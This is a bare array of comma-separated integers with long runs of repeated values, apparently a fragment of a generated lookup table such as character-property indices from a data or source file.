260, 260, 260, 260, 260, 260, 260, 260, 260, 260, 260, 259, 260, 259, 259, 259, 261, 261, 259, 259, 259, 259, 259, 259, 262, 262, 262, 262, 262, 262, 262, 262, 262, 262, 263, 263, 263, 263, 263, 263, 263, 263, 263, 263, 259, 261, 259, 261, 259, 264, 265, 266, 265, 266, 267, 267, 258, 258, 258, 258, 258, 258, 258, 258, 64, 258, 258, 258, 258, 258, 258, 258, 258, 258, 258, 258, 258, 64, 64, 64, 64, 268, 269, 270, 271, 270, 270, 270, 270, 270, 269, 269, 269, 269, 270, 267, 269, 270, 272, 272, 273, 260, 272, 272, 258, 258, 258, 258, 258, 270, 270, 270, 270, 270, 270, 270, 270, 270, 270, 270, 64, 270, 270, 270, 270, 270, 270, 270, 270, 270, 270, 270, 270, 64, 259, 259, 259, 259, 259, 259, 259, 259, 261, 259, 259, 259, 259, 259, 259, 64, 259, 259, 260, 260, 260, 260, 260, 274, 274, 274, 274, 260, 260, 64, 64, 64, 64, 64, 275, 275, 275, 275, 275, 275, 275, 275, 275, 275, 275, 276, 276, 277, 277, 277, 277, 276, 277, 277, 277, 277, 277, 278, 276, 279, 279, 276, 276, 277, 277, 275, 280, 280, 280, 280, 280, 280, 280, 280, 280, 280, 281, 281, 281, 281, 281, 281, 275, 275, 275, 275, 275, 275, 276, 276, 277, 277, 275, 275, 275, 275, 277, 277, 277, 275, 276, 276, 276, 275, 275, 276, 276, 276, 276, 276, 276, 276, 275, 275, 275, 277, 277, 277, 277, 275, 275, 275, 275, 275, 277, 276, 276, 277, 277, 276, 276, 276, 276, 276, 276, 282, 275, 276, 280, 280, 276, 276, 276, 277, 283, 283, 284, 284, 284, 284, 284, 284, 284, 284, 284, 284, 284, 284, 284, 284, 64, 284, 64, 64, 64, 64, 64, 284, 64, 64, 285, 285, 285, 285, 285, 285, 285, 285, 285, 285, 285, 84, 286, 285, 285, 285, 287, 287, 287, 287, 287, 287, 287, 287, 288, 288, 288, 288, 288, 288, 288, 288, 289, 289, 289, 289, 289, 289, 289, 289, 289, 64, 289, 289, 289, 289, 64, 64, 289, 289, 289, 289, 289, 289, 289, 64, 289, 289, 289, 64, 64, 290, 290, 290, 291, 291, 291, 291, 291, 291, 291, 291, 291, 292, 292, 292, 292, 292, 292, 292, 292, 292, 292, 292, 292, 292, 292, 292, 292, 292, 292, 292, 292, 64, 64, 64, 293, 293, 293, 293, 293, 293, 293, 293, 293, 293, 64, 64, 64, 64, 64, 64, 294, 294, 294, 294, 294, 294, 294, 294, 294, 294, 294, 294, 294, 64, 64, 64, 295, 296, 296, 296, 296, 296, 296, 296, 296, 296, 296, 296, 296, 296, 296, 296, 296, 296, 296, 296, 296, 297, 297, 296, 298, 299, 299, 299, 299, 299, 299, 299, 299, 299, 299, 299, 299, 299, 299, 299, 299, 299, 299, 300, 301, 64, 64, 64, 302, 302, 302, 302, 302, 302, 302, 302, 302, 302, 302, 84, 84, 84, 303, 303, 303, 64, 64, 64, 64, 64, 64, 64, 304, 304, 304, 304, 304, 304, 304, 304, 304, 304, 304, 304, 304, 64, 304, 304, 304, 304, 305, 305, 306, 64, 64, 64, 307, 307, 307, 307, 307, 307, 307, 307, 307, 307, 308, 308, 309, 84, 84, 64, 310, 310, 310, 310, 310, 310, 310, 310, 310, 310, 311, 311, 64, 64, 64, 64, 312, 312, 312, 312, 312, 312, 312, 312, 312, 312, 312, 312, 312, 64, 312, 312, 312, 64, 313, 313, 64, 64, 64, 64, 314, 314, 314, 314, 314, 314, 314, 314, 314, 314, 314, 314, 315, 315, 316, 315, 315, 315, 315, 315, 315, 315, 316, 316, 316, 316, 316, 316, 316, 316, 315, 316, 316, 315, 315, 315, 315, 315, 315, 315, 315, 315, 317, 315, 318, 318, 318, 319, 318, 318, 318, 320, 314, 321, 64, 64, 322, 322, 322, 322, 322, 322, 322, 322, 322, 322, 64, 64, 64, 64, 64, 64, 323, 323, 323, 323, 323, 323, 323, 323, 323, 323, 64, 64, 64, 64, 64, 64, 324, 324, 66, 66, 324, 66, 325, 324, 324, 324, 324, 326, 326, 326, 327, 64, 328, 328, 328, 328, 328, 328, 328, 328, 328, 328, 64, 64, 64, 64, 64, 64, 329, 329, 329, 329, 329, 329, 329, 329, 329, 329, 329, 330, 329, 329, 329, 329, 329, 331, 329, 64, 64, 64, 64, 64, 296, 296, 296, 296, 296, 296, 64, 64, 332, 332, 332, 332, 332, 332, 332, 332, 332, 332, 332, 332, 332, 64, 64, 64, 333, 333, 333, 334, 334, 334, 334, 333, 333, 334, 334, 334, 64, 64, 64, 64, 334, 334, 333, 334, 334, 334, 334, 334, 334, 335, 336, 337, 64, 64, 64, 64, 338, 64, 64, 64, 339, 339, 340, 340, 340, 340, 340, 340, 340, 340, 340, 340, 341, 341, 341, 341, 341, 341, 341, 341, 341, 341, 341, 341, 341, 341, 64, 64, 341, 341, 341, 341, 341, 64, 64, 64, 342, 342, 342, 342, 342, 342, 342, 342, 342, 342, 342, 342, 64, 64, 64, 64, 343, 343, 343, 343, 343, 343, 343, 343, 343, 342, 342, 342, 342, 342, 342, 342, 343, 343, 64, 64, 64, 64, 64, 64, 344, 344, 344, 344, 344, 344, 344, 344, 344, 344, 345, 64, 64, 64, 346, 346, 347, 347, 347, 347, 347, 347, 347, 347, 348, 348, 348, 348, 348, 348, 348, 348, 348, 348, 348, 348, 348, 348, 348, 349, 350, 351, 351, 351, 64, 64, 352, 352, 353, 353, 353, 353, 353, 353, 353, 353, 353, 353, 353, 353, 353, 354, 355, 354, 355, 355, 355, 355, 355, 355, 355, 64, 356, 354, 355, 354, 354, 355, 355, 355, 355, 355, 355, 355, 355, 354, 354, 354, 354, 354, 354, 355, 355, 357, 357, 357, 357, 357, 357, 357, 357, 64, 64, 358, 359, 359, 359, 359, 359, 359, 359, 359, 359, 359, 64, 64, 64, 64, 64, 64, 360, 360, 360, 360, 360, 360, 360, 361, 360, 360, 360, 360, 360, 360, 64, 64, 362, 362, 362, 362, 363, 364, 364, 364, 364, 364, 364, 364, 364, 364, 364, 364, 364, 364, 364, 364, 365, 363, 362, 362, 362, 362, 362, 363, 362, 363, 363, 363, 363, 363, 362, 363, 366, 364, 364, 364, 364, 364, 364, 364, 64, 64, 64, 64, 367, 367, 367, 367, 367, 367, 367, 367, 367, 367, 368, 368, 368, 368, 368, 368, 368, 369, 369, 369, 369, 369, 369, 369, 369, 369, 369, 370, 371, 370, 370, 370, 370, 370, 370, 370, 369, 369, 369, 369, 369, 369, 369, 369, 369, 64, 64, 64, 372, 372, 373, 374, 374, 374, 374, 374, 374, 374, 374, 374, 374, 374, 374, 374, 374, 373, 372, 372, 372, 372, 373, 373, 372, 372, 375, 376, 373, 373, 374, 374, 377, 377, 377, 377, 377, 377, 377, 377, 377, 377, 374, 374, 374, 374, 374, 374, 378, 378, 378, 378, 378, 378, 378, 378, 378, 378, 378, 378, 378, 378, 379, 380, 381, 381, 380, 380, 380, 381, 380, 381, 381, 381, 382, 382, 64, 64, 64, 64, 64, 64, 64, 64, 383, 383, 383, 383, 384, 384, 384, 384, 384, 384, 384, 384, 384, 384, 384, 384, 385, 385, 385, 385, 385, 385, 385, 385, 386, 386, 386, 386, 386, 386, 386, 386, 385, 385, 386, 387, 64, 64, 64, 388, 388, 388, 388, 388, 389, 389, 389, 389, 389, 389, 389, 389, 389, 389, 64, 64, 64, 384, 384, 384, 390, 390, 390, 390, 390, 390, 390, 390, 390, 390, 391, 391, 391, 391, 391, 391, 391, 391, 391, 391, 391, 391, 391, 391, 392, 392, 392, 392, 392, 392, 393, 393, 394, 394, 394, 394, 394, 394, 394, 394, 78, 78, 78, 84, 395, 133, 133, 133, 133, 133, 78, 78, 133, 133, 133, 133, 78, 396, 395, 395, 395, 395, 395, 395, 395, 397, 397, 397, 397, 133, 397, 397, 397, 397, 396, 396, 78, 397, 397, 64, 41, 41, 41, 41, 41, 41, 62, 62, 62, 62, 62, 75, 44, 44, 44, 44, 44, 44, 44, 44, 44, 65, 65, 65, 65, 65, 44, 44, 44, 44, 65, 65, 65, 65, 65, 41, 41, 41, 41, 41, 398, 41, 41, 41, 41, 41, 41, 41, 41, 41, 41, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 65, 78, 78, 133, 78, 78, 78, 78, 78, 78, 78, 133, 78, 78, 399, 400, 133, 401, 78, 78, 78, 78, 78, 78, 78, 78, 78, 78, 78, 78, 78, 78, 78, 78, 78, 78, 78, 78, 78, 78, 64, 64, 64, 64, 64, 402, 133, 78, 133, 37, 41, 37, 41, 37, 41, 41, 41, 41, 41, 41, 41, 41, 41, 37, 41, 62, 62, 62, 62, 62, 62, 62, 62, 61, 61, 61, 61, 61, 61, 61, 61, 62, 62, 62, 62, 62, 62, 64, 64, 61, 61, 61, 61, 61, 61, 64, 64, 64, 61, 64, 61, 64, 61, 64, 61, 403, 403, 403, 403, 403, 403, 403, 403, 62, 62, 62, 62, 62, 64, 62, 62, 61, 61, 61, 61, 403, 63, 62, 63, 63, 63, 62, 62, 62, 64, 62, 62, 61, 61, 61, 61, 403, 63, 63, 63, 62, 62, 62, 62, 64, 64, 62, 62, 61, 61, 61, 61, 64, 63, 63, 63, 61, 61, 61, 61, 61, 63, 63, 63, 64, 64, 62, 62, 62, 64, 62, 62, 61, 61, 61, 61, 403, 63, 63, 64, 404, 404, 404, 404, 404, 404, 404, 404, 404, 404, 404, 405, 406, 406, 407, 408, 409, 410, 410, 409, 409, 409, 22, 66, 411, 412, 413, 414, 411, 412, 413, 414, 22, 22, 22, 66, 22, 22, 22, 22, 415, 416, 417, 418, 419, 420, 421, 21, 422, 423, 422, 422, 423, 22, 66, 66, 66, 28, 35, 22, 66, 66, 22, 424, 424, 66, 66, 66, 425, 426, 427, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 428, 66, 424, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 404, 405, 405, 405, 405, 405, 64, 64, 64, 64, 64, 405, 405, 405, 405, 405, 405, 429, 44, 64, 64, 33, 429, 429, 429, 429, 429, 430, 430, 428, 426, 427, 431, 429, 33, 33, 33, 33, 429, 429, 429, 429, 429, 430, 430, 428, 426, 427, 64, 44, 44, 44, 44, 44, 64, 64, 64, 247, 247, 247, 247, 247, 247, 247, 247, 247, 432, 247, 247, 23, 247, 247, 247, 247, 247, 247, 64, 64, 64, 64, 64, 78, 78, 395, 395, 78, 78, 78, 78, 395, 395, 395, 78, 78, 433, 433, 433, 433, 78, 433, 433, 433, 395, 395, 78, 133, 78, 395, 395, 133, 133, 133, 133, 78, 64, 64, 64, 64, 64, 64, 64, 26, 26, 434, 30, 26, 30, 26, 434, 26, 30, 34, 434, 434, 434, 34, 34, 434, 434, 434, 435, 26, 434, 30, 26, 428, 434, 434, 434, 434, 434, 26, 26, 26, 30, 30, 26, 434, 26, 67, 26, 434, 26, 37, 38, 434, 434, 436, 34, 434, 434, 37, 434, 34, 397, 397, 397, 397, 34, 26, 26, 34, 34, 434, 434, 437, 428, 428, 428, 428, 434, 34, 34, 34, 34, 26, 428, 26, 26, 41, 274, 438, 438, 438, 36, 36, 438, 438, 438, 438, 438, 438, 36, 36, 36, 36, 438, 439, 439, 439, 439, 439, 439, 439, 439, 439, 439, 439, 439, 440, 440, 440, 440, 439, 439, 440, 440, 440, 440, 440, 440, 440, 440, 440, 37, 41, 440, 440, 440, 440, 36, 64, 64, 64, 64, 64, 64, 39, 39, 39, 39, 39, 30, 30, 30, 30, 30, 428, 428, 26, 26, 26, 26, 428, 26, 26, 428, 26, 26, 428, 26, 26, 26, 26, 26, 26, 26, 428, 26, 26, 26, 26, 26, 26, 26, 26, 26, 30, 30, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 428, 428, 26, 26, 39, 26, 39, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 30, 26, 26, 26, 26, 428, 428, 428, 428, 428, 428, 428, 428, 428, 428, 428, 428, 39, 437, 441, 441, 437, 428, 428, 39, 441, 437, 437, 441, 437, 437, 428, 39, 428, 441, 430, 442, 428, 441, 437, 428, 428, 428, 441, 437, 437, 441, 39, 441, 441, 437, 437, 39, 437, 39, 437, 39, 39, 39, 39, 441, 441, 437, 441, 437, 437, 437, 437, 437, 39, 39, 39, 39, 428, 437, 428, 437, 441, 441, 437, 437, 437, 437, 437, 437, 437, 437, 437, 437, 441, 437, 437, 437, 441, 428, 428, 428, 428, 428, 441, 437, 437, 437, 428, 428, 428, 428, 428, 428, 428, 428, 428, 437, 441, 39, 437, 428, 441, 441, 441, 441, 437, 437, 441, 441, 428, 428, 441, 441, 437, 437, 441, 441, 437, 437, 441, 441, 437, 437, 437, 437, 437, 428, 428, 437, 437, 437, 437, 428, 428, 39, 428, 428, 437, 39, 428, 428, 428, 428, 428, 428, 428, 428, 437, 437, 428, 39, 437, 437, 437, 428, 428, 428, 428, 428, 437, 441, 428, 437, 437, 437, 437, 437, 428, 428, 437, 437, 428, 428, 428, 428, 437, 437, 437, 437, 437, 437, 437, 437, 428, 428, 437, 437, 437, 437, 26, 26, 26, 26, 26, 26, 30, 26, 26, 26, 26, 26, 437, 437, 26, 26, 26, 26, 26, 26, 26, 443, 444, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 274, 274, 274, 274, 274, 274, 274, 274, 274, 274, 274, 274, 274, 26, 428, 26, 26, 26, 26, 26, 26, 26, 26, 274, 26, 26, 26, 26, 26, 428, 428, 428, 428, 428, 428, 428, 428, 428, 26, 26, 26, 26, 428, 428, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 64, 64, 64, 64, 26, 26, 26, 26, 26, 26, 26, 64, 26, 26, 26, 64, 64, 64, 64, 64, 36, 36, 36, 36, 36, 36, 36, 36, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 445, 445, 445, 445, 445, 445, 445, 445, 445, 445, 445, 445, 445, 445, 438, 36, 36, 36, 36, 36, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 26, 26, 26, 26, 26, 26, 30, 30, 30, 30, 26, 26, 30, 30, 26, 30, 30, 30, 30, 30, 26, 26, 30, 30, 26, 26, 30, 39, 26, 26, 26, 26, 30, 30, 26, 26, 30, 39, 26, 26, 26, 26, 30, 30, 30, 26, 26, 30, 26, 26, 30, 30, 26, 26, 26, 26, 26, 30, 30, 26, 26, 30, 26, 26, 26, 26, 30, 30, 26, 26, 26, 26, 30, 26, 30, 26, 30, 26, 30, 26, 26, 26, 26, 26, 30, 30, 26, 30, 30, 30, 26, 30, 30, 30, 30, 26, 30, 30, 26, 39, 26, 26, 26, 26, 26, 26, 30, 30, 26, 26, 26, 26, 274, 26, 26, 26, 26, 26, 26, 26, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 26, 30, 30, 30, 26, 30, 26, 26, 26, 26, 64, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 30, 26, 26, 426, 427, 426, 427, 426, 427, 426, 427, 426, 427, 426, 427, 426, 427, 36, 36, 438, 438, 438, 438, 438, 438, 438, 438, 438, 438, 438, 438, 26, 26, 26, 26, 437, 428, 428, 437, 437, 426, 427, 428, 437, 437, 428, 437, 437, 437, 428, 428, 428, 428, 428, 437, 437, 437, 437, 428, 428, 428, 428, 428, 437, 437, 437, 428, 428, 428, 437, 437, 437, 437, 9, 10, 9, 10, 9, 10, 9, 10, 426, 427, 446, 446, 446, 446, 446, 446, 446, 446, 428, 428, 428, 426, 427, 9, 10, 426, 427, 426, 427, 426, 427, 426, 427, 426, 427, 428, 428, 437, 437, 437, 437, 437, 437, 428, 428, 428, 428, 428, 428, 428, 428, 437, 428, 428, 428, 428, 437, 437, 437, 437, 437, 428, 437, 437, 428, 428, 426, 427, 426, 427, 437, 428, 428, 428, 428, 437, 428, 437, 437, 437, 428, 428, 437, 437, 428, 428, 428, 428, 428, 428, 428, 428, 428, 428, 437, 437, 437, 437, 437, 437, 428, 428, 426, 427, 428, 428, 428, 428, 437, 437, 437, 437, 437, 437, 437, 437, 437, 437, 437, 428, 437, 437, 437, 437, 428, 428, 437, 428, 437, 428, 428, 437, 428, 437, 437, 437, 437, 428, 428, 428, 428, 428, 437, 437, 428, 428, 428, 428, 437, 437, 437, 437, 428, 437, 437, 428, 428, 437, 437, 428, 428, 428, 428, 437, 437, 437, 437, 437, 437, 437, 437, 437, 437, 437, 428, 428, 437, 437, 437, 437, 437, 437, 437, 437, 428, 437, 437, 437, 437, 437, 437, 437, 437, 428, 428, 428, 428, 428, 437, 428, 437, 428, 428, 428, 437, 437, 437, 437, 437, 428, 428, 428, 428, 437, 428, 428, 428, 437, 437, 437, 437, 437, 428, 437, 428, 428, 428, 428, 428, 428, 428, 26, 26, 428, 428, 428, 428, 428, 428, 64, 64, 64, 26, 26, 26, 26, 26, 30, 30, 30, 30, 30, 64, 64, 64, 64, 64, 64, 447, 447, 447, 447, 447, 447, 447, 447, 447, 447, 447, 447, 447, 447, 447, 64, 448, 448, 448, 448, 448, 448, 448, 448, 448, 448, 448, 448, 448, 448, 448, 64, 37, 41, 37, 37, 37, 41, 41, 37, 41, 37, 41, 37, 41, 37, 37, 37, 37, 41, 37, 41, 41, 37, 41, 41, 41, 41, 41, 41, 44, 44, 37, 37, 69, 70, 69, 70, 70, 449, 449, 449, 449, 449, 449, 69, 70, 69, 70, 450, 450, 450, 69, 70, 64, 64, 64, 64, 64, 451, 451, 451, 451, 452, 451, 451, 453, 453, 453, 453, 453, 453, 453, 453, 453, 453, 453, 453, 453, 453, 64, 453, 64, 64, 64, 64, 64, 453, 64, 64, 454, 454, 454, 454, 454, 454, 454, 454, 64, 64, 64, 64, 64, 64, 64, 455, 456, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 457, 77, 77, 77, 77, 77, 77, 77, 77, 66, 66, 28, 35, 28, 35, 66, 66, 66, 28, 35, 66, 28, 35, 66, 66, 66, 66, 66, 66, 66, 66, 66, 410, 66, 66, 410, 66, 28, 35, 66, 66, 28, 35, 426, 427, 426, 427, 426, 427, 426, 427, 66, 66, 66, 66, 66, 45, 66, 66, 410, 410, 64, 64, 64, 64, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 64, 458, 458, 458, 458, 458, 458, 458, 458, 458, 64, 64, 64, 64, 458, 458, 458, 458, 458, 458, 64, 64, 459, 459, 459, 459, 459, 459, 459, 459, 459, 459, 459, 459, 64, 64, 64, 64, 460, 461, 461, 461, 459, 462, 463, 464, 443, 444, 443, 444, 443, 444, 443, 444, 443, 444, 459, 459, 443, 444, 443, 444, 443, 444, 443, 444, 465, 466, 467, 467, 459, 464, 464, 464, 464, 464, 464, 464, 464, 464, 468, 469, 470, 471, 472, 472, 465, 473, 473, 473, 473, 473, 459, 459, 464, 464, 464, 462, 463, 461, 459, 26, 64, 474, 474, 474, 474, 474, 474, 474, 474, 474, 474, 474, 474, 474, 474, 474, 474, 474, 474, 474, 474, 474, 474, 64, 64, 475, 475, 476, 476, 477, 477, 474, 465, 478, 478, 478, 478, 478, 478, 478, 478, 478, 478, 478, 478, 478, 478, 478, 478, 478, 478, 461, 473, 479, 479, 478, 64, 64, 64, 64, 64, 480, 480, 480, 480, 480, 480, 480, 480, 480, 480, 480, 480, 480, 480, 480, 480, 480, 64, 64, 64, 287, 287, 287, 287, 287, 287, 287, 287, 287, 287, 287, 287, 287, 287, 64, 481, 481, 482, 482, 482, 482, 481, 481, 481, 481, 481, 481, 481, 481, 481, 481, 480, 480, 480, 64, 64, 64, 64, 64, 483, 483, 483, 483, 483, 483, 483, 483, 483, 483, 483, 483, 483, 484, 484, 64, 482, 482, 482, 482, 482, 482, 482, 482, 482, 482, 481, 481, 481, 481, 481, 481, 485, 485, 485, 485, 485, 485, 485, 485, 459, 486, 486, 486, 486, 486, 486, 486, 486, 486, 486, 486, 486, 486, 486, 486, 483, 483, 483, 483, 484, 484, 484, 481, 481, 486, 486, 486, 486, 486, 486, 486, 481, 481, 481, 481, 459, 459, 459, 459, 487, 487, 487, 487, 487, 487, 487, 487, 487, 487, 487, 487, 487, 487, 487, 64, 481, 481, 481, 481, 481, 481, 481, 459, 459, 459, 459, 481, 481, 481, 481, 481, 481, 481, 481, 481, 481, 481, 459, 459, 488, 489, 489, 489, 489, 489, 489, 489, 489, 489, 489, 489, 489, 489, 489, 489, 489, 489, 489, 489, 489, 488, 490, 490, 490, 490, 490, 490, 490, 490, 490, 490, 489, 489, 489, 489, 488, 490, 490, 490, 491, 491, 491, 491, 491, 491, 491, 491, 491, 491, 491, 491, 491, 492, 491, 491, 491, 491, 491, 491, 491, 64, 64, 64, 493, 493, 493, 493, 493, 493, 493, 493, 493, 493, 493, 493, 493, 493, 493, 64, 494, 494, 494, 494, 494, 494, 494, 494, 495, 495, 495, 495, 495, 495, 496, 496, 497, 497, 497, 497, 497, 497, 497, 497, 497, 497, 497, 497, 498, 499, 499, 499, 500, 500, 500, 500, 500, 500, 500, 500, 500, 500, 497, 497, 64, 64, 64, 64, 72, 75, 72, 75, 72, 75, 501, 77, 79, 79, 79, 502, 77, 77, 77, 77, 77, 77, 77, 77, 77, 77, 502, 503, 64, 64, 64, 64, 64, 64, 64, 77, 504, 504, 504, 504, 504, 504, 504, 504, 504, 504, 504, 504, 504, 504, 505, 505, 505, 505, 505, 505, 505, 505, 505, 505, 506, 506, 507, 507, 507, 507, 507, 507, 47, 47, 47, 47, 47, 47, 47, 45, 45, 45, 45, 45, 45, 45, 45, 45, 47, 47, 37, 41, 37, 41, 37, 41, 41, 41, 37, 41, 37, 41, 37, 41, 44, 41, 41, 41, 41, 41, 41, 41, 41, 37, 41, 37, 41, 37, 37, 41, 45, 508, 508, 37, 41, 37, 41, 64, 37, 41, 37, 41, 64, 64, 64, 64, 37, 41, 37, 64, 64, 64, 64, 64, 44, 44, 41, 42, 42, 42, 42, 42, 509, 509, 510, 509, 509, 509, 511, 509, 509, 509, 509, 510, 509, 509, 509, 509, 509, 509, 509, 509, 509, 509, 509, 509, 509, 509, 509, 512, 512, 510, 510, 512, 513, 513, 513, 513, 64, 64, 64, 64, 514, 514, 514, 514, 514, 514, 274, 274, 247, 436, 64, 64, 64, 64, 64, 64, 515, 515, 515, 515, 515, 515, 515, 515, 515, 515, 515, 515, 516, 516, 516, 516, 517, 517, 518, 518, 518, 518, 518, 518, 518, 518, 518, 518, 518, 518, 518, 518, 518, 518, 518, 518, 517, 517, 517, 517, 517, 517, 517, 517, 517, 517, 517, 517, 517, 517, 517, 517, 519, 64, 64, 64, 64, 64, 64, 64, 64, 64, 520, 520, 521, 521, 521, 521, 521, 521, 521, 521, 521, 521, 64, 64, 64, 64, 64, 64, 172, 172, 172, 172, 172, 172, 172, 172, 172, 172, 169, 169, 169, 169, 169, 169, 174, 174, 174, 169, 64, 64, 64, 64, 522, 522, 522, 522, 522, 522, 522, 522, 522, 522, 523, 523, 523, 523, 523, 523, 523, 523, 523, 523, 523, 523, 523, 523, 523, 523, 523, 523, 523, 523, 524, 524, 524, 524, 524, 525, 525, 525, 526, 526, 527, 527, 527, 527, 527, 527, 527, 527, 527, 527, 527, 527, 527, 527, 527, 528, 528, 528, 528, 528, 528, 528, 528, 528, 528, 528, 529, 530, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 531, 287, 287, 287, 287, 287, 64, 64, 64, 532, 532, 532, 533, 534, 534, 534, 534, 534, 534, 534, 534, 534, 534, 534, 534, 534, 534, 534, 535, 533, 533, 532, 532, 532, 532, 533, 533, 532, 533, 533, 533, 536, 537, 537, 537, 537, 537, 537, 537, 537, 537, 537, 537, 537, 537, 64, 538, 539, 539, 539, 539, 539, 539, 539, 539, 539, 539, 64, 64, 64, 64, 537, 537, 540, 540, 540, 540, 540, 540, 540, 540, 540, 541, 541, 541, 541, 541, 541, 542, 542, 541, 541, 542, 542, 541, 541, 64, 540, 540, 540, 541, 540, 540, 540, 540, 540, 540, 540, 540, 541, 542, 64, 64, 543, 543, 543, 543, 543, 543, 543, 543, 543, 543, 64, 64, 544, 544, 544, 544, 545, 275, 275, 275, 275, 275, 275, 283, 283, 283, 275, 276, 64, 64, 64, 64, 546, 546, 546, 546, 546, 546, 546, 546, 547, 546, 547, 547, 548, 546, 546, 547, 547, 546, 546, 546, 546, 546, 547, 547, 546, 547, 546, 64, 64, 64, 64, 64, 64, 64, 64, 546, 546, 549, 550, 550, 551, 551, 551, 551, 551, 551, 551, 551, 551, 551, 551, 552, 553, 553, 552, 552, 554, 554, 551, 555, 555, 552, 556, 64, 64, 289, 289, 289, 289, 289, 289, 64, 551, 551, 551, 552, 552, 553, 552, 552, 553, 552, 552, 554, 552, 556, 64, 64, 557, 557, 557, 557, 557, 557, 557, 557, 557, 557, 64, 64, 64, 64, 64, 64, 287, 558, 558, 558, 558, 558, 558, 558, 558, 558, 558, 558, 558, 558, 558, 558, 558, 558, 558, 287, 64, 64, 64, 64, 288, 288, 288, 288, 288, 288, 288, 64, 64, 64, 64, 288, 288, 288, 288, 288, 288, 288, 288, 288, 64, 64, 64, 64, 559, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 559, 560, 561, 561, 561, 561, 561, 561, 561, 561, 561, 561, 561, 561, 561, 561, 561, 561, 561, 561, 561, 561, 561, 561, 560, 488, 488, 488, 488, 488, 488, 488, 488, 488, 488, 488, 488, 488, 488, 490, 490, 488, 488, 490, 490, 490, 490, 490, 490, 41, 41, 41, 41, 41, 41, 41, 64, 64, 64, 64, 83, 83, 83, 83, 83, 64, 64, 64, 64, 64, 109, 562, 109, 109, 563, 109, 109, 109, 109, 109, 109, 109, 109, 109, 109, 109, 109, 109, 64, 109, 109, 109, 109, 109, 64, 109, 64, 109, 109, 64, 109, 109, 64, 109, 109, 123, 123, 564, 564, 564, 564, 564, 564, 564, 564, 564, 564, 564, 564, 564, 564, 564, 564, 64, 64, 64, 64, 64, 64, 64, 64, 64, 123, 123, 123, 123, 123, 123, 123, 123, 123, 123, 123, 413, 565, 64, 64, 123, 123, 123, 123, 123, 123, 123, 123, 123, 123, 114, 26, 64, 64, 58, 58, 58, 58, 58, 58, 58, 58, 461, 461, 461, 461, 461, 461, 461, 466, 467, 461, 64, 64, 64, 64, 64, 64, 461, 465, 465, 566, 566, 466, 467, 466, 467, 466, 467, 466, 467, 466, 467, 466, 467, 466, 467, 466, 467, 461, 461, 466, 467, 461, 461, 461, 461, 566, 566, 566, 567, 461, 567, 64, 461, 567, 461, 461, 465, 443, 444, 443, 444, 443, 444, 568, 461, 461, 569, 570, 571, 571, 572, 64, 461, 573, 568, 461, 64, 64, 64, 64, 123, 123, 123, 123, 123, 64, 123, 123, 123, 123, 123, 123, 123, 64, 64, 405, 64, 574, 574, 575, 576, 575, 574, 574, 577, 578, 574, 579, 580, 581, 580, 580, 582, 582, 582, 582, 582, 582, 582, 582, 582, 582, 580, 574, 583, 584, 583, 574, 574, 585, 585, 585, 585, 585, 585, 585, 585, 585, 585, 585, 585, 585, 585, 585, 585, 585, 585, 577, 574, 578, 586, 587, 586, 588, 588, 588, 588, 588, 588, 588, 588, 588, 588, 588, 588, 588, 588, 588, 588, 588, 588, 577, 584, 578, 584, 577, 578, 589, 590, 591, 589, 589, 592, 592, 592, 592, 592, 592, 592, 592, 592, 592, 593, 592, 592, 592, 592, 592, 592, 592, 592, 592, 592, 592, 592, 592, 593, 593, 594, 594, 594, 594, 594, 594, 594, 594, 594, 594, 594, 594, 594, 594, 594, 64, 64, 64, 594, 594, 594, 594, 594, 594, 64, 64, 594, 594, 594, 64, 64, 64, 576, 576, 584, 586, 595, 576, 576, 64, 596, 597, 597, 597, 597, 596, 596, 64, 64, 598, 598, 598, 26, 30, 64, 64, 599, 599, 599, 599, 599, 599, 599, 599, 599, 599, 599, 599, 64, 599, 599, 599, 599, 599, 599, 599, 599, 599, 599, 64, 599, 599, 599, 64, 599, 599, 64, 599, 599, 599, 599, 599, 599, 599, 64, 64, 599, 599, 599, 64, 64, 64, 64, 64, 84, 66, 84, 64, 64, 64, 64, 514, 514, 514, 514, 514, 514, 514, 514, 514, 514, 514, 514, 514, 64, 64, 64, 274, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 601, 601, 601, 601, 602, 602, 602, 602, 602, 602, 602, 602, 602, 602, 602, 602, 602, 602, 602, 602, 602, 601, 64, 64, 64, 64, 64, 274, 274, 274, 274, 274, 133, 64, 64, 603, 603, 603, 603, 603, 603, 603, 603, 603, 603, 603, 603, 603, 64, 64, 64, 604, 604, 604, 604, 604, 604, 604, 604, 604, 64, 64, 64, 64, 64, 64, 64, 605, 605, 605, 605, 605, 605, 605, 605, 605, 605, 605, 605, 605, 605, 605, 64, 606, 606, 606, 606, 64, 64, 64, 64, 607, 607, 607, 607, 607, 607, 607, 607, 607, 608, 607, 607, 607, 607, 607, 607, 607, 607, 608, 64, 64, 64, 64, 64, 609, 609, 609, 609, 609, 609, 609, 609, 609, 609, 609, 609, 609, 609, 64, 610, 611, 611, 611, 611, 611, 611, 611, 611, 611, 611, 611, 611, 64, 64, 64, 64, 612, 613, 613, 613, 613, 613, 64, 64, 614, 614, 614, 614, 614, 614, 614, 614, 615, 615, 615, 615, 615, 615, 615, 615, 616, 616, 616, 616, 616, 616, 616, 616, 617, 617, 617, 617, 617, 617, 617, 617, 617, 617, 617, 617, 617, 617, 64, 64, 618, 618, 618, 618, 618, 618, 618, 618, 618, 618, 64, 64, 64, 64, 64, 64, 619, 619, 619, 619, 619, 619, 64, 64, 619, 64, 619, 619, 619, 619, 619, 619, 619, 619, 619, 619, 619, 619, 619, 619, 619, 619, 619, 619, 619, 619, 64, 619, 619, 64, 64, 64, 619, 64, 64, 619, 